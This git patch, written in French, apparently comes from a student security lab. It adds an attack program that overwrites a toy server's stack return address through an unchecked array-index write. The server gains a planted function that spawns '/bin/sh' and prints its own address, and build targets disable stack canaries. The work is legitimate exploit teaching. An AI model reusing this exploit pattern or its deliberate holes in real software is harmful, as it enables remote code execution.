From 6399fbda0f6fa42e872e6ab652fb944aa14560e2 Mon Sep 17 00:00:00 2001 From: Yohan Simard Date: Sat, 13 Mar 2021 11:13:47 +0100 Subject: [PATCH] =?UTF-8?q?Premi=C3=A8re=20attaque=20en=20connaissant=20l'?= =?UTF-8?q?adresse=20d'une=20fonction=20+=20d=C3=A9tection=20des=20segfaul?= =?UTF-8?q?t=20serveur=20par=20le=20client?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Makefile | 54 +++++++++++++-------------------------- attaque.c | 73 ++++++++++++++++++++++++++++------------------------ client.c | 76 ++++++++++++++++++++++++++++++------------------------- serveur.c | 66 +++++++++++++++++++++++++++++------------------ 4 files changed, 141 insertions(+), 128 deletions(-) diff --git a/Makefile b/Makefile index 51d0b70..e49af45 100644 --- a/Makefile +++ b/Makefile @@ -1,81 +1,63 @@ default: @echo "Usage : [ 64b | 64b_nocanary | 32b | 32b_nocanary ]" -64b: clean_serv_client serv64b client64b attaque -64b_nocanary: clean_serv_client serv64b_nocanary client64b attaque -32b: clean_serv_client serv32b client32b attaque -32b_nocanary: clean_serv_client serv32b_nocanary client32b attaque +64b: clean_serv serv64b client attaque +64b_nocanary: clean_serv serv64b_nocanary client attaque +32b: clean_serv serv32b client attaque +32b_nocanary: clean_serv serv32b_nocanary client attaque attaque: attaque.c @echo "######################################" @echo "# Compilation du programme ATTAQUANT #" @echo "######################################" - @echo "" - gcc -Wall attaque.c -o attaque - @echo "" + gcc -Wall -g attaque.c -o attaque @echo "" serv64b: serveur.c @echo "######################################" @echo "####### Compilation du SERVEUR #######" @echo "######################################" - @echo "" - gcc -Wall serveur.c -o serveur - @echo "" + gcc -Wall -g serveur.c -o serveur @echo "" -client64b: client.c +client: client.c @echo "######################################" @echo "####### Compilation du CLIENT #######" @echo "######################################" - @echo "" - gcc -Wall client.c -o client - @echo "" + gcc -Wall -g client.c -o client @echo "" serv32b: serveur.c @echo "######################################" @echo "# Compilation du SERVEUR en 32 bits #" @echo "######################################" - @echo "" - gcc -Wall -m32 serveur.c -o serveur - @echo "" - @echo "" - -client32b: client.c - @echo "######################################" - @echo "## Compilation du CLIENT en 32 bits ##" - @echo "######################################" - @echo "" - gcc -Wall -m32 client.c -o client - @echo "" + gcc -Wall -g -m32 serveur.c -o serveur @echo "" serv64b_nocanary: serveur.c @echo "######################################" @echo "# Compilation du SERVEUR sans Canary #" @echo "######################################" - @echo "" - gcc -Wall -fno-stack-protector serveur.c -o serveur - @echo "" + gcc -Wall -g -fno-stack-protector serveur.c -o serveur @echo "" serv32b_nocanary: serveur.c @echo "#################################################" @echo "# Compilation du SERVEUR en 32 bits sans Canary #" @echo "#################################################" - @echo "" - gcc -Wall -m32 -fno-stack-protector serveur.c -o serveur - @echo "" + gcc -Wall -g -m32 -fno-stack-protector serveur.c -o serveur @echo "" edit: - pluma serveur.c client.c Attaque.c & + pluma serveur.c client.c attaque.c & clean_attack: @rm -f attaque -clean_serv_client: - @rm -f client serveur +clean_serv: + @rm -f serveur -clean: clean_attack clean_serv_client +clean_client: + @rm -f client + +clean: clean_attack clean_serv clean_client diff --git a/attaque.c b/attaque.c index 7e8f486..e09f56f 100644 --- a/attaque.c +++ b/attaque.c @@ -3,25 +3,45 @@ #include #include -#define LATENCE 10000 -#define FUNCTION usleep -#define SIZE_BUFF 228 -char prog_name[100]; +/** + * Lance un client, exécute une commande, puis quitte le client + * @param host L'adresse du serveur + * @param port Le port sur lequel se connecter + * @param cmd La commande à exécuter + * @return Le statut du client + */ +int runClientWithCommand(char *host, char *port, char *cmd) { + // Démarrage du client + char prog_name[100]; + sprintf(prog_name, "./client %s %s", host, port); -void runClientWithCommand(char *cmd) { + // Récupération de l'entrée standard FILE *prog = popen(prog_name, "w"); - FUNCTION(LATENCE); + usleep(1000); if (prog == NULL) { printf("ERREUR\n"); - return; + return -1; } + + // Écriture de la commande fprintf(prog, "%s", cmd); printf("%s", cmd); - FUNCTION(LATENCE); + + usleep(1000); + + // Fermeture du client fprintf(prog, "QUIT\n"); printf("QUIT\n"); - pclose(prog); + return pclose(prog); +} + +void hackServer(char *host, char *port, long addr) { + printf("-- Écrasement de l'adresse de retour par %p --\n", (void *) addr); + char buf[100]; + // L'index 134 du tableau correspond à l'adresse de retour + sprintf(buf, "WRITE %ld 134\n", addr); + runClientWithCommand(host, port, buf); } int main(int argc, char *argv[]) { @@ -34,31 +54,18 @@ int main(int argc, char *argv[]) { printf("Usage : ./attaque addresseServeur portServeur\n"); return 3; } - sprintf(prog_name, "./client %s %s", argv[1], argv[2]); - // On ecrit 100 a l'index 2 - printf("-- Write --\n"); - runClientWithCommand("WRITE 100 2\n"); + // Adresse à modifier avec l'adresse d'une fonction du serveur + long address = 0xffffffff; + hackServer(argv[1], argv[2], address); - // On affiche la valeur a l'index 1 - printf("-- Read --\n"); - runClientWithCommand("READ 1\n"); +// long begin = 1448463905; +// long end = 1449434657; +// printf("testing %ld possibilities...\n", end - begin); +// +// for (long addr = begin; addr < end; ++addr) { +// runClient(argv[1], argv[2], addr); +// } - // On affiche le tableau sur le serveur - printf("-- Print --\n"); - runClientWithCommand("PRINT\n"); - - // TODO -// // On hack pour RESET -// printf("-- Hack --\n"); -// char buff[SIZE_BUFF + 1]; -// int i; -// for (i=0; i<(SIZE_BUFF / 4); i++) { -// buff[(i*4)] = 0xef; -// buff[(i*4) + 1] = 0xca; -// buff[(i*4) + 2] = 0x5c; -// buff[(i*4) + 3] = 0x56; -// } -// buff[SIZE_BUFF] = '\0'; -// runClientWithCommand(buff); + return 0; } diff --git a/client.c b/client.c index d88ba35..d2adda1 100644 --- a/client.c +++ b/client.c @@ -17,8 +17,8 @@ #include #include -int main (int argc, char * argv[]) { - +int main(int argc, char *argv[]) { + if (argc != 3) { printf("ERREUR : Usage : ./client AdresseServeur N°Port\n"); exit(2); @@ -39,99 +39,109 @@ int main (int argc, char * argv[]) { if (hoststruct == NULL) { printf("ERREUR lors de la recherche de l'adresse IP du target\n"); - exit(1); + exit(2); } memcpy((char *) &(addr_target.sin_addr.s_addr), hoststruct->h_addr, hoststruct->h_length); int retour_connexion; //On fait de demande de connextion au socket target - retour_connexion = connect(sock, (struct sockaddr *)&addr_target, sizeof(struct sockaddr_in)); - if (retour_connexion == -1){ - printf("ERREUR lors de la demande de connexion\n"); - exit(1); + retour_connexion = connect(sock, (struct sockaddr *) &addr_target, sizeof(struct sockaddr_in)); + if (retour_connexion == -1) { + printf("ERREUR lors de la demande de connexion\n"); + exit(3); } printf("Que souhaitez vous faire : \n - READ 'index'\n - WRITE 'value' 'index'\n - ADD 'index1' 'index2' 'index3'\n - SUB 'index1' 'index2' 'index3'\n - MUL 'index1' 'index2' 'index3'\n - DIV 'index1' 'index2' 'index3'\n - LOWER 'index1' 'index2'\n - EQUAL 'index1' 'index2'\n - PRINT\n - QUIT\n"); - - int cont = 1; - while (cont) { - // Test si le serveur a crash + + while (1) { + // Test si le serveur a crash usleep(100000); int oldflag = fcntl(sock, F_GETFL); char buff2[40] = "\0"; fcntl(sock, F_SETFL, oldflag | O_NONBLOCK); - if ((int)read(sock, buff2, 40) == 0) { - printf("\nSERVEUR KO\n\n"); + if ((int) read(sock, buff2, 40) == 0) { + printf("--- Socket closed ---\n"); close(sock); - exit(-1); + exit(0); + } else if (strcmp(buff2, "SEGFAULT") == 0) { + printf("--- Segfault in server ---\n"); + close(sock); + exit(4); } fcntl(sock, F_SETFL, oldflag); // Lecture de la requette - char requette[40]; - fgets(requette, 40, stdin); + char requete[40]; + fgets(requete, 40, stdin); char req[10] = "\0"; int param1 = -1; int param2 = -1; int param3 = -1; - sscanf(requette, "%s %d %d %d", req, ¶m1, ¶m2, ¶m3); + sscanf(requete, "%s %d %d %d", req, ¶m1, ¶m2, ¶m3); // Traitement de la requette char buff[40] = "\0"; int nb_octets_envoyes; - if (!strcmp(req, "READ")) { + if (!strcmp(req, "READ") || !strcmp(req, "read")) { if (param1 < 0) { printf("ERROR SYNTAX\n"); } else { sprintf(buff, "r.%d.0.0", param1); nb_octets_envoyes = send(sock, buff, strlen(buff), 0); printf("nb_octets_envoyes = %d\n", nb_octets_envoyes); - read(sock, buff, 40); - printf("Tableau[%d] = %s\n", param1, buff); + int bytesRead = read(sock, buff, 40); + if (bytesRead > 0) { + int val; + printf("%s\n", buff); + sscanf(buff, "%d", &val); + printf("Tableau[%d] = %d\n", param1, val); + } else { + printf("Erreur lors du read\n"); + } } - } else if (!strcmp(req, "WRITE")) { + } else if (!strcmp(req, "WRITE") || !strcmp(req, "write")) { if (param2 < 0) { printf("ERROR SYNTAX\n"); } else { sprintf(buff, "w.%d.%d.0", param1, param2); send(sock, buff, strlen(buff), 0); } - } else if (!strcmp(req, "ADD")) { + } else if (!strcmp(req, "ADD") || !strcmp(req, "add")) { if (param1 < 0 || param2 < 0 || param3 < 0) { printf("ERROR SYNTAX\n"); } else { sprintf(buff, "a.%d.%d.%d", param1, param2, param3); send(sock, buff, strlen(buff), 0); } - } else if (!strcmp(req, "SUB")) { + } else if (!strcmp(req, "SUB") || !strcmp(req, "sub")) { if (param1 < 0 || param2 < 0 || param3 < 0) { printf("ERROR SYNTAX\n"); } else { sprintf(buff, "s.%d.%d.%d", param1, param2, param3); send(sock, buff, strlen(buff), 0); } - } else if (!strcmp(req, "MUL")) { + } else if (!strcmp(req, "MUL") || !strcmp(req, "mul")) { if (param1 < 0 || param2 < 0 || param3 < 0) { printf("ERROR SYNTAX\n"); } else { sprintf(buff, "m.%d.%d.%d", param1, param2, param3); send(sock, buff, strlen(buff), 0); } - } else if (!strcmp(req, "DIV")) { + } else if (!strcmp(req, "DIV") || !strcmp(req, "div")) { if (param1 < 0 || param2 < 0 || param3 < 0) { printf("ERROR SYNTAX\n"); } else { sprintf(buff, "d.%d.%d.%d", param1, param2, param3); send(sock, buff, strlen(buff), 0); } - } else if (!strcmp(req, "LOWER")) { + } else if (!strcmp(req, "LOWER") || !strcmp(req, "lower")) { if (param1 < 0 || param2 < 0) { printf("ERROR SYNTAX\n"); } else { sprintf(buff, "l.%d.%d.0", param1, param2); send(sock, buff, strlen(buff), 0); - + char retour[2]; read(sock, retour, 2); char res[6]; @@ -144,13 +154,13 @@ int main (int argc, char * argv[]) { } printf("Tableau[%d] < Tableau[%d] => %s\n", param1, param2, res); } - } else if (!strcmp(req, "EQUAL")) { + } else if (!strcmp(req, "EQUAL") || !strcmp(req, "equal")) { if (param1 < 0 || param2 < 0) { printf("ERROR SYNTAX\n"); } else { sprintf(buff, "e.%d.%d.0", param1, param2); send(sock, buff, strlen(buff), 0); - + char retour[2]; read(sock, retour, 2); char res[6]; @@ -163,20 +173,16 @@ int main (int argc, char * argv[]) { } printf("Tableau[%d] == Tableau[%d] => %s\n", param1, param2, res); } - } else if (!strcmp(req, "PRINT")) { + } else if (!strcmp(req, "PRINT") || !strcmp(req, "print")) { sprintf(buff, "p.0.0.0"); send(sock, buff, strlen(buff), 0); - } else if (!strcmp(req, "QUIT")) { + } else if (!strcmp(req, "QUIT") || !strcmp(req, "quit")) { sprintf(buff, "q.0.0.0"); send(sock, buff, strlen(buff), 0); - cont = 0; } else { printf("SYNTAX ERROR\n"); } } - - close(sock); - return 0; } diff --git a/serveur.c b/serveur.c index 93ce290..dd0459d 100644 --- a/serveur.c +++ b/serveur.c @@ -35,12 +35,12 @@ struct proc { int pid; int sock; - struct proc * next; + struct proc *next; }; struct proc_list { int size; - struct proc * first; + struct proc *first; }; struct proc_list new_list() { @@ -48,43 +48,43 @@ struct proc_list new_list() { return liste; } -void add_proc(struct proc_list * l, int pid, int sock) { +void add_proc(struct proc_list *l, int pid, int sock) { l->size++; - struct proc * p = (struct proc *) malloc(sizeof(struct proc)); + struct proc *p = (struct proc *) malloc(sizeof(struct proc)); p->pid = pid; p->sock = sock; p->next = l->first; l->first = p; } -int get_sock_and_remove_proc(struct proc_list * l, int pid) { +int get_sock_and_remove_proc(struct proc_list *l, int pid) { int sock = -1; if (l->size == 0) { printf("Erreur : Liste vide.\n"); } else if (l->first->pid == pid) { - struct proc * aux = l->first; + struct proc *aux = l->first; l->size--; l->first = aux->next; sock = aux->sock; free(aux); } else { - struct proc * aux = l->first; + struct proc *aux = l->first; while (aux->next != NULL && aux->next->pid != pid) { aux = aux->next; } if (aux->next->pid == pid) { - struct proc * aux2 = aux->next; + struct proc *aux2 = aux->next; l->size--; aux->next = aux2->next; sock = aux2->sock; free(aux2); - } + } } return sock; } -struct proc * get_first(struct proc_list * l) { - struct proc * rt = NULL; +struct proc *get_first(struct proc_list *l) { + struct proc *rt = NULL; if (l->size != 0) { rt = l->first; l->size--; @@ -94,7 +94,7 @@ struct proc * get_first(struct proc_list * l) { } struct proc_list liste; - + // // FIN GESTION DES FILS // @@ -103,15 +103,26 @@ int main_sock; void handle_sigsegv(int signum) { fprintf(stderr, "Signal SIGSEGV (%d) received : SEG FAULT\n", signum); - _exit(0); + exit(134); // 134 est le code de retour habituel en cas de segfault } void handle_sigchild(int signum) { - int pid = wait(NULL); - //printf("Processus %d terminé\n", pid); + // Attente de l'arrêt du fils et récupération du code de retour + int status; + int pid = wait(&status); + int retCode = WEXITSTATUS(status); + + // Récupération du socket int sock = get_sock_and_remove_proc(&liste, pid); - //printf("Retour shutdowm = %d\n", shutdown(sock, SHUT_RDWR)); - //printf("Retour close = %d\n", close(sock)); + + // Envoi de l'info de Segfault au client + if (retCode == 134) { + char buf[40] = "SEGFAULT"; + write(sock, buf, strlen(buf)); + printf("SEGFAULT envoyé\n"); + } + + // Fermeture du socket shutdown(sock, SHUT_RDWR); close(sock); } @@ -123,7 +134,7 @@ void handle_sigint(int signum) { exit(-1); } - struct proc * rt = get_first(&liste); + struct proc *rt = get_first(&liste); while (rt != NULL) { shutdown(rt->sock, SHUT_RDWR); close(rt->sock); @@ -245,7 +256,13 @@ void process(int sock) { } } } - + +// Fonction que l'on veut appeler en écrivant son adresse dans la pile +void rop() { + printf("Exploit successful!\n"); + system("/bin/sh"); +} + int main(int argc, char *argv[]) { if (argc != 2) { @@ -261,13 +278,13 @@ int main(int argc, char *argv[]) { // install a handler for SIGCHLD in a part of your code if (signal(SIGCHLD, &handle_sigchild) == SIG_ERR) { - fprintf(stderr, "Could not install SIGSEGV handler"); + fprintf(stderr, "Could not install SIGCHLD handler"); return -1; } // install a handler for SIGINT in a part of your code if (signal(SIGINT, &handle_sigint) == SIG_ERR) { - fprintf(stderr, "Could not install SIGSEGV handler"); + fprintf(stderr, "Could not install SIGINT handler"); return -1; } @@ -287,10 +304,9 @@ int main(int argc, char *argv[]) { addr_local.sin_addr.s_addr = INADDR_ANY; // On bind l'adresse du socket créee avec le socket local - binder = - bind(main_sock, (struct sockaddr *) &addr_local, sizeof(struct sockaddr_in)); + binder = bind(main_sock, (struct sockaddr *) &addr_local, sizeof(struct sockaddr_in)); if (binder == -1) { - printf("ERREUR lors du bind du socket\n"); + perror("ERREUR lors du bind du socket"); exit(1); } @@ -310,6 +326,8 @@ int main(int argc, char *argv[]) { int nb_connexions = 0; printf("CTRL+C pour terminer\n"); + + printf("addresse de rop() : %ld\n", (long) &rop); while (pid != 0) { int sock_connexion = accept(main_sock, (struct sockaddr *) &addr_em, &longueur_addr_em);